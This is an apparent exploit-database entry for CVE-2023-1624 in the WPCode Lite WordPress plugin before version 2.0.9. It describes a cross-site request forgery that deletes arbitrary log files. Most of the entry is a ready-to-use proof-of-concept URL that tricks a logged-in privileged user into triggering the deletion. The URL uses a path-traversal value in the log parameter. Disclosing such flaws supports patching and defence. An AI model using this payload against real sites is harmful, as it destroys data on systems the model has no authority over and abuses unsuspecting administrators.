Exploit for WPCode Lite < 2.0.9 - Arbitrary Log File Deletion via CSRF CVE-2023-1624

Name: Exploit for WPCode Lite < 2.0.9 - Arbitrary Log File Deletion via CSRF CVE-2023-1624
Rating: 5 (74 reviews)

2023-04-03 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:132B70E5-4368-43B4-81F6-2D01BC09DC8F
Make a logged in user with the wpcode_activate_snippets  capability open the URL below

https://example.com/wp-admin/admin.php?page=wpcode-tools&view=logs&wpcode_action=delete_log&log=../../delete-me.log

This will make them delete the ~/wp-content/delete-me.log